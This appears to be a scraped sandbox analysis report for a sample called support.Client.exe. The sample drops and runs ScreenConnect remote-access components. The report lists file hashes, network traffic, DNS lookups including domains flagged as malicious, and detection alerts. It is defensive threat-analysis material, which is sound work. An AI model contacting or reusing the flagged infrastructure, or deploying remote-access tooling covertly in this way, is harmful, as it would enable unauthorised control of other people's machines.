7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.WindowsClient.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.WindowsBackstageShell.exe		executable
		MD5:E34E8690E53141EE6914238252FA9988	SHA256:B2B1125EC8B482BE4447C848EE45F83AB8FE8C4A25D110C5761166C961FF3EA8
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.WindowsFileManager.exe		executable
		MD5:8531526B6F151A08AD8A551611F686D3	SHA256:A5ECC6FFDA3D32803775EBA060D42212C78BD3E7964BF44408750386B7CFB8F7
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.WindowsBackstageShell.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	23.216.77.25:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
7544	dfsvc.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D	unknown	—	—	whitelisted
7544	dfsvc.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEAuTYAUbzPZmQpmJmNW6l84%3D	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
4452	BackgroundTransferHost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
7544	dfsvc.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D	unknown	—	—	whitelisted
8012	backgroundTaskHost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D	unknown	—	—	whitelisted
4284	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
4284	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
—	—	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	23.216.77.25:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
2104	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
7544	dfsvc.exe	104.21.112.1:443	web.hkvhelp.top	CLOUDFLARENET	—	unknown
7544	dfsvc.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
2112	svchost.exe	20.73.194.208:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
3216	svchost.exe	20.197.71.89:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	SG	whitelisted
6544	svchost.exe	20.190.159.23:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
crl.microsoft.com	23.216.77.25 23.216.77.22 23.216.77.30 23.216.77.6 23.216.77.18	whitelisted
google.com	172.217.16.206	whitelisted
web.hkvhelp.top	104.21.112.1 104.21.16.1 104.21.64.1 104.21.96.1 104.21.80.1 104.21.48.1 104.21.32.1	unknown
ocsp.digicert.com	2.17.190.73	whitelisted
settings-win.data.microsoft.com	20.73.194.208 51.104.136.2	whitelisted
client.wns.windows.com	20.197.71.89	whitelisted
login.live.com	20.190.159.23 20.190.159.0 40.126.31.73 40.126.31.129 40.126.31.0 40.126.31.69 20.190.159.64 40.126.31.2	whitelisted
arc.msn.com	20.31.169.57	whitelisted
www.bing.com	104.126.37.162 104.126.37.147 104.126.37.170 104.126.37.153 104.126.37.161 104.126.37.154 104.126.37.160 104.126.37.163 104.126.37.155	whitelisted
borejon.wxhelp.top	217.156.123.34	malicious

Threats

PID	Process	Class	Message
2196	svchost.exe	Potentially Bad Traffic	ET DNS Query to a *.top domain - Likely Hostile
3268	ScreenConnect.ClientService.exe	Potential Corporate Privacy Violation	REMOTE [ANY.RUN] ScreenConnect Server Response

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No debug info

General Info

support.Client.exe

F3413C2A1CA0F098C683A9C0F79581CB

9167F73F7FF55486CDEA52E654EDD2E57D55CFCD

3265F030BCA1519369D97FC173A86B791DF017CF5AAA1D0B53FA6C89660E8C88

1536:c4lrL5PZVm5c7cwFgnPfdwngb7XCdqQsWQcdnSfqINKBx:brL5RVm5c7cegn3dwgbD+lnSfqRx

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SCREENCONNECT has been detected (SURICATA)

SUSPICIOUS

Adds/modifies Windows certificates

Reads Internet Explorer settings

Executable content was dropped or overwritten

Reads security settings of Internet Explorer

Executes as Windows Service

Screenconnect has been detected

SCREENCONNECT mutex has been found

Creates or modifies Windows services

Connects to unusual port

Potential Corporate Privacy Violation

The process creates files with name similar to system file names

INFO

Checks supported languages

Disables trace logs

Reads the computer name

Reads the machine GUID from the registry

Reads Environment values

Creates files or folders in the user directory

Process checks whether UAC notifications are on

Checks proxy server information

Reads the software policy settings

Reads security settings of Internet Explorer

Create files in a temporary directory

SCREENCONNECT has been detected

Malware configuration

Static information

TRiD

EXIF

EXE

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings